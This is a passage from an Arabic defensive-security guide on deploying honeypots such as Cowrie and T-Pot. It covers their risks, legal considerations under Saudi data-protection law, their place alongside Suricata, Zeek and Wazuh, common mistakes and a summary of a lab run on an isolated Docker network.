وانتبه إلى حد مهم: المؤشرات التي تجمعها المصيدة قيمة ولكنها قصيرة العمر. فعنوان IP الذي هاجم مصيدتك اليوم قد يتغير غداً، لأن المهاجمين يبدلون عناوينهم، وكثير منهم يهاجم من أجهزة مخترقة لأناس أبرياء. فلا تحظر العنوان إلى الأبد، وإنما لمدة، وراجع. والأثمن من العناوين هو الأساليب: فكيف يهاجم المهاجم يتغير أبطأ من أين يهاجم، فالأسلوب الذي رأيته في مصيدتك سيتكرر حتى لو تغير العنوان، ولهذا تركز استخبارات التهديدات الناضجة على الأساليب لا العناوين وحدها.

والشركات الكبيرة تبني من مصائدها خلاصات استخبارات Threat Intelligence Feeds تشاركها مع غيرها، فمن هاجم مصيدة شركة قد يهاجم أخرى، ومشاركة العناوين تحمي الجميع. وهذا ما تقدمه منصات مثل T-Pot: لا تكشف فقط، وإنما تبني صورة لمن يهاجم العالم، من أي بلد، بأي أسلوب، لأي خدمة. وحتى لو لم تصل إلى هذا الحجم، فمصيدتك الصغيرة تعطيك استخبارات محلية ثمينة: من يهاجمك أنت، بأي أساليب، فتوجه دفاعك إلى ما تواجهه فعلاً لا إلى ما تتخيله.

مخاطر المصائد

المصيدة أداة قوية، ولكنها ليست بلا مخاطر، وأهمها:

• أن تصبح نقطة انطلاق: مصيدة عالية التفاعل سيئة العزل قد يستغلها المهاجم ليصل إلى بقية شبكتك، فتتحول من فخ إلى باب. ولهذا العزل شرط، والإنتاج قليل التفاعل أأمن.
• أن تكشف أنها مصيدة: المهاجم المتمرس قد يلاحظ أنها مصيدة فيتجنبها، أو يزرع فيها بيانات مضللة. ولهذا تبدو المصيدة الجيدة حقيقية قدر الإمكان.
• الاعتماد عليها وحدها: المصيدة تكشف من يلمسها، ولا تكشف من لم يمر بها. فهي طبقة تكمل دفاعك لا تحل محله، فالمهاجم الذي ذهب مباشرة إلى هدفه الحقيقي دون أن يلمس المصيدة لا تراه.
• المسؤولية القانونية: في بعض الأنظمة قد يثير جمع بيانات المهاجمين أسئلة قانونية، فاستشر قبل أن تنشر مصيدة تجمع بيانات، خاصة إن كانت تسجل محتوى.

والقاعدة العامة: المصيدة طبقة رخيصة عالية القيمة في الكشف، تبدأ بها صغيرة ومعزولة، وتضيفها إلى دفاعك لا تبني دفاعك عليها.

وفي سياق المملكة، تذكر أن المصيدة التي تسجل نشاط المهاجمين قد تلتقط بيانات، وأن جمع بيانات ومعالجتها يخضع لأنظمة حماية البيانات الشخصية PDPL إن كانت البيانات شخصية، كما شرحنا في مقال PDPL. وعنوان IP قد يعد بيانات شخصية في بعض السياقات، فحدد غرض جمعك ومدته ومن يصل إليه، ولا تسجل أكثر مما تحتاج لغرض الأمن. وهذا لا يمنع المصيدة، فجمع بيانات الأمن غرض مشروع، ولكنه يذكرك أن تبقى ضمن ما يلزمك لحماية أنظمتك، لا أن تتوسع في جمع لا تحتاجه.

أين تقع المصيدة في دفاعك؟

بعد كل هذا، أين توضع المصيدة في الصورة الكبيرة لمركز عملياتك؟ إنها طبقة كشف تكمل الطبقات الأخرى، لا تنافسها. فمستشعر الشبكة مثل Suricata يرى حركة الشبكة ويكشف التواقيع المعروفة، كما في مقال Suricata وZeek. ومراقبة السيرفرات مثل Wazuh ترى ما يحدث داخل الأنظمة الحقيقية، كما في مقال Wazuh. والمصيدة تضيف زاوية لا تغطيها الاثنتان: من يلمس ما لا ينبغي أن يلمسه أحد. فكل طبقة ترى ما تعمى عنه الأخرى، ومجموعها دفاع أعمق من أي واحدة وحدها.

وميزة المصيدة الفريدة في هذا المزيج أنها أقل الطبقات ضجيجاً وأعلاها ثقة. فبينما تحتاج مستشعرات الشبكة والسيرفرات ضبطاً مستمراً لتقليل الإنذارات الخاطئة، تعمل المصيدة بلا ضبط تقريباً: نصبتها، وأي لمس لها تنبيه. ولهذا فهي من أفضل ما تبدأ به شركة صغيرة لا فريق كبير لديها: طبقة كشف تعطي تنبيهات نادرة عالية الثقة، لا تحتاج محللاً متفرغاً لفرزها. فإذا كان عندك مورد محدود، فمصيدة واحدة معزولة في شبكتك الداخلية قد تعطيك أكبر كشف بأقل جهد، لأنها تنذرك عن أخطر حدث، أي أن أحداً وصل إلى حيث لا ينبغي، دون أن تغرقك في ضجيج.

والصورة الأشمل أن المصيدة جزء من فلسفة دفاعية تفترض أن المهاجم قد يدخل، فتركز على رؤيته بسرعة بعد الدخول. فبدل أن تبني كل أملك على منع الدخول، وهو مستحيل كاملاً، تضع فخاخاً في الداخل تكشف من دخل بأسرع ما يمكن. وهذا هو منطق الكشف والاستجابة الذي بنيناه عبر هذا المسار: اجمع السجلات، واكتب القواعد، وتحقق منها بالمحاكاة، وأضف المصائد لتكشف من يتحرك في الداخل. والمصيدة في هذا المنطق ليست أداة معزولة، وإنما طبقة في دفاع متكامل، كل جزء منه يكمل غيره.

أخطاء شائعة

• مصيدة بلا عزل: تصبح نقطة انطلاق إلى شبكتك الحقيقية، فالعزل شرط لا خيار.
• مصيدة عالية التفاعل للبداية: أخطر وأصعب، والإنتاج قليل التفاعل يكفي ويكشف بأمان.
• سجل لا يصل إلى المجمع: مصيدة تسجل محلياً ولا أحد يقرأ، فاربطها بمجمعك ليصبح لمسها تنبيهاً.
• وضعها حيث يمر الموظفون: فتطلق إنذارات على نشاط شرعي، وتفقد ميزتها الكبرى، صفر الإنذارات الخاطئة.
• الاعتماد عليها وحدها: تكشف من يلمسها فقط، فهي طبقة تكمل الدفاع لا تحل محله.
• اختراع مخرجات T-Pot: منصة تحتاج موارد كبيرة واتصالاً بالإنترنت، فإن لم تشغلها فاوصفها من التوثيق، ولا تخترع لها نتائج.

قائمة تحقق

الخلاصة

• المصيدة مستشعر لا ينذر خطأ تقريباً: نظام وهمي لا يستخدمه أحد شرعي، فكل من لمسه مشبوه.
• تقلب معادلة الكشف: بدل البحث عن الحقيقي في الضجيج، كل ما فيها حقيقي، فتحل إرهاق التنبيهات والكشف المبكر معاً.
• الأنواع تختلف بمستوى التفاعل والغرض، والإنتاج قليل التفاعل أأمن وأنسب للمدافع.
• العزل شرط لا خيار، فالمصيدة سيئة العزل تتحول من فخ إلى باب دخول.
• في التجربة سجلت Cowrie جلسة مهاجم كاملة، من التخمين إلى الاستطلاع إلى محاولة تنزيل برمجية، في بيئة معزولة.
• كل جلسة صارت تنبيهاً واحداً عالي الثقة في المجمع، بلا إنذار خاطئ، لأن لا أحد شرعي يلمس المصيدة.
• T-Pot منصة تجمع أكثر من عشرين مصيدة، ولكنها تحتاج 8 إلى 16 جيجابايت واتصالاً بالإنترنت، فوصفناها من التوثيق، ومصيدة واحدة خفيفة تكفي للبدء.

وأقرب المقالات إلى هذا الموضوع في المسار:

دليليوم محلل SOC: فرز التنبيهات Alert Triage من التنبيه إلى القرارستة عشر تنبيهاً حقيقياً من Wazuh وSuricata نفرزها واحداً واحداً بالإثراء من Zeek حتى القرار والتصعيد.دليلالسجلات الأمنية Logs: ماذا تجمع ومن أين قبل أن تبني SOCجمعنا سجلات nginx وتطبيق صغير وSSH بأداة Vector، فرأينا كيف يقلب وقت بلا منطقة زمنية ترتيب الحادثة، وكيف ينجو السجل المركزي من المسح.دليلمراقبة الشبكة واكتشاف التسلل IDS مع Suricata وZeekمختبر حقيقي يقرأ الحركة نفسها بأداتين، فيكشف Suricata الهجمات المعروفة ويكتب Zeek سجلاً لكل اتصال، مع الضبط وفقد الحزم.دليلتقسيم الشبكة Network Segmentation بال VLAN وال VPCلماذا تصل كاميرا مخترقة إلى قاعدة بياناتك، وكيف تمنع ذلك بتقسيم الشبكة إلى مناطق لا يمر بينها إلا ما تسمح به.دليلمراقبة السيرفرات مع Wazuh: من السجل Log إلى حظر المهاجمشغلنا Wazuh مع وكيل على سيرفر تجريبي، فكشف تخمين كلمات مرور SSH وحظر المهاجم تلقائياً، ونبه على ملف PHP دخيل خلال ثانية.

سجل التحديثات

• أكتوبر 2026: كتابة المقال، وتشغيل مصيدة Cowrie 3.1.4 يوم 28 أكتوبر 2026 على شبكة Docker معزولة، ومهاجمتها بسكربت على Python مع مكتبة paramiko، وتحويل سجلها إلى تنبيه بسكربت على Python 3.13.17. منصة T-Pot موصوفة من توثيقها الرسمي دون تشغيل لحاجتها إلى 8 إلى 16 جيجابايت ذاكرة و128 جيجابايت قرصاً واتصالاً مفتوحاً بالإنترنت.